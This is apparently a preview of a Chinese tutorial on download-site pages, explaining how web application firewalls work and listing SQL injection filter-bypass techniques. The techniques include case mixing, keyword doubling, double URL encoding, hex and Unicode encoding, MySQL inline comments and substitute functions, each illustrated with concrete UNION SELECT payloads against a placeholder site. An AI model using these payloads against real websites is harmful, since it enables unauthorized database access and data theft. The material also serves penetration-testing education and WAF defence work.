没有合适的资源?快使用搜索试试~ 我知道了~
首页深入理解SQL注入绕过WAF和过滤机制
资源详情
资源评论
资源推荐
深入理解 SQL 注入绕过 WAF 和过滤机制
知己知彼,百战不殆 --孙子兵法
渗透测试在未得到被测试方授权之前依据某些地区法律规定是违法行为。 这里我们提
供的所有测试方法均为(假设为)合法的评估服务,也就是通常所说的道德黑客行为
(Ethical hacking),因此我们这里的所有读者应当都是 Ethical Hackers,如果您还不
是,那么希望您到过这里后会成为他们中的一员 ;)
[目录]
0x0 前言
0x1 WAF 的常见特征
0x2 绕过 WAF 的方法
0x3 SQLi Filter 的实现及 Evasion
0x4 延伸及测试向量示例
0x5 本文小结
0x6 参考资料
0x0 前言
促使本文产生最初的动机是前些天在做测试时一些攻击向量被 WAF 挡掉了,而且遇到
异常输入直接发生重定向。之前对 WAF 并不太了解,因此趁此机会科普一下并查阅了一些
绕过 WAF 的方法。网上关于绕过 WAF 有诸多文章,但是观察之后会发现大体上绕过 WAF
的方法就那八、九种,而且这些技术出来也有些日子了,继续使用这些方法是否有效有待
于我们在实际中去验证。看过数篇绕过 WAF 的文章后,前人对技术的总结已经比较全面,
但是完整的内容可能分布在各处,查阅起来不太方便。另外,我们谈绕过 WAF,其实就是
谈如何绕过过滤机制,如果在讨论 bypass 技术的时候明确一下现有的一些 filter 的实现及
其 evasion,对于我这样的初学者来说是不是更好?还有就是如果在文章后面可以提供一些
测试向量提供思路和参考,内容看起来很杂,但是也会比较方便呢? 抱着这些想法,同时
也顶着巨大的压力(前人工作已经比较完善,这么大的信息量总结起来对我是一次挑战),我
还是决定写出本文,这样更能适应自己的需求,也可能更加适合一些朋友的需求。
本文内容从技术上来说并非原创,也没有很新的或重大的发现,乃是这几天从各种资料
信息中进行整理所得。本文会对形如 http://www.site.com 的 URI 进行简化,约定为 z.com。
0x1 WAF 的常见特征
之所以要谈到 WAF 的常见特征,是为了更好的了解 WAF 的运行机制,这样就能增加
几分绕过的机会了。本文不对 WAF 做详细介绍,只谈及几点相关的。
总体来说,WAF(Web Application Firewall)的具有以下四个方面的功能:
1. 审计设备:用来截获所有 HTTP 数据或者仅仅满足某些规则的会话
2. 访问控制设备:用来控制对 Web 应用的访问,既包括主动安全模式也包括被动安全
模式
3. 架构/网络设计工具:当运行在反向代理模式,他们被用来分配职能,集中控制,虚
拟基础结构等。
4. WEB 应用加固工具:这些功能增强被保护 Web 应用的安全性,它不仅能够屏蔽 WEB
应用固有弱点,而且能够保护 WEB 应用编程错误导致的安全隐患。
WAF 的常见特点:
异常检测协议:拒绝不符合 HTTP 标准的请求
增强的输入验证:代理和服务端的验证,而不只是限于客户端验证
白名单&黑名单:白名单适用于稳定的 We 应用,黑名单适合处理已知问题
基于规则和基于异常的保护:基于规则更多的依赖黑名单机制,基于异常更为灵活
状态管理:重点进行会话保护
另还有:Coikies 保护、抗入侵规避技术、响应监视和信息泄露保护等
如果是对于扫描器,WAF 有其识别之道:
扫描器识别主要由以下几点:
1) 扫描器指纹(head 字段/请求参数值),以 wvs 为例,会有很明显的 Acunetix 在内的标
识
2) 单 IP+ cookie 某时间段内触发规则次数
3) 隐藏的链接标签等(<a>)
4) Cookie 植入
5) 验证码验证,扫描器无法自动填充验证码
6) 单 IP 请求时间段内 Webserver 返回 http 状态 404 比例, 扫描器探测敏感目录基于
字典,找不到文件则返回 404
0x2 绕过 WAF 的方法
从目前能找到的资料来看,我把这些绕过 waf 的技术分为 9 类,包含从初级到高级技巧
a) 大小写混合
b)替换关键字
c)使用编码
d)使用注释
e)等价函数与命令
f)特殊符号
g)HTTP 参数控制
h)缓冲区溢出
i)整合绕过
a) 大小写绕过
大小写绕过用于只针对小写或大写的关键字匹配技术,正则表达式/express/i 大小写不
敏感即无法绕过,这是最简单的绕过技术
举例:z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4
示例场景可能的情况为 filter 的规则里有对大小写转换的处理,但不是每个关键字或每
种情况都有处理
b)替换关键字
这种情况下大小写转化无法绕过,而且正则表达式会替换或删除 select、union 这些关
键字,如果只匹配一次就很容易绕过
举例:z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
同样是很基础的技术,有些时候甚至构造得更复杂:SeLSeselectleCTecT,不建议对此
抱太大期望
c)使用编码
1.URL 编码
在 Chrome 中输入一个连接,非保留字的字符浏览器会对其 URL 编码,如空格变为%20、
单引号%27、左括号%28、右括号%29
普通的 URL 编码可能无法实现绕过,还存在一种情况 URL 编码只进行了一次过滤,
可以用两次编码绕过:page.php?id=1%252f%252a*/UNION%252f%252a /SELECT
2.十六进制编码
举例:z.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
示例代码中,前者是对单个字符十六进制编码,后者则是对整个字符串编码,使用上来
说较少见一点
3.Unicode 编码
Unicode 有所谓的标准编码和非标准编码,假设我们用的 utf-8 为标准编码,那么西欧
语系所使用的就是非标准编码了
看一下常用的几个符号的一些 Unicode 编码:
单引
号: %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%
e0%80%a7
空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
举例:?id=10%D6‗%20AND%201=2%23
SELECT 'Ä'='A'; #1
两个示例中,前者利用双字节绕过,比如对单引号转义操作变成\',那么就变成
了%D6%5C',%D6%5C 构成了一个款字节即 Unicode 字节,单引号可以正常使用
第二个示例使用的是两种不同编码的字符的比较,它们比较的结果可能是 True 或者
False,关键在于 Unicode 编码种类繁多,基于黑名单的过滤器无法处理所以情况,从而实
现绕过
另外平时听得多一点的可能是 utf-7 的绕过,还有 utf-16、utf-32 的绕过,后者从成功
的实现对 google 的绕过,有兴趣的朋友可以去了解下
常见的编码当然还有二进制、八进制,它们不一定都派得上用场,但后面会提到使用二
进制的例子
d) 使用注释
看一下常见的用于注释的符号有哪些://, -- , /**/, #, --+,-- -, ;
,
--a
1.普通注释
举例:z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4
'union%a0select pass from users#
/**/在构造得查询语句中插入注释,规避对空格的依赖或关键字识别;#、--+用于终结语
句的查询
2.内联注释
相比普通注释,内联注释用的更多,它有一个特性/!**/只有 MySQL 能识别
举例:index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%
0A/*nnaa*/+1,2,3,4…
两个示例中前者使用内联注释,后者还用到了普通注释。使用注释一个很有用的做法便
是对关键字的拆分,要做到这一点后面讨论的特殊符号也能实现,当然前提是包括/、*在内
的这些字符能正常使用
e)等价函数与命令
有些函数或命令因其关键字被检测出来而无法使用,但是在很多情况下可以使用与之等
价或类似的代码替代其使用
1.函数或变量
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
剩余19页未读,继续阅读
Zn.Tim
- 粉丝: 0
- 资源: 3
上传资源 快速赚钱
- 我的内容管理 收起
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
会员权益专享
最新资源
- RTL8188FU-Linux-v5.7.4.2-36687.20200602.tar(20765).gz
- c++校园超市商品信息管理系统课程设计说明书(含源代码) (2).pdf
- 建筑供配电系统相关课件.pptx
- 企业管理规章制度及管理模式.doc
- vb打开摄像头.doc
- 云计算-可信计算中认证协议改进方案.pdf
- [详细完整版]单片机编程4.ppt
- c语言常用算法.pdf
- c++经典程序代码大全.pdf
- 单片机数字时钟资料.doc
- 11项目管理前沿1.0.pptx
- 基于ssm的“魅力”繁峙宣传网站的设计与实现论文.doc
- 智慧交通综合解决方案.pptx
- 建筑防潮设计-PowerPointPresentati.pptx
- SPC统计过程控制程序.pptx
- SPC统计方法基础知识.pptx
资源上传下载、课程学习等过程中有任何疑问或建议,欢迎提出宝贵意见哦~我们会及时处理!
点击此处反馈
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功
评论1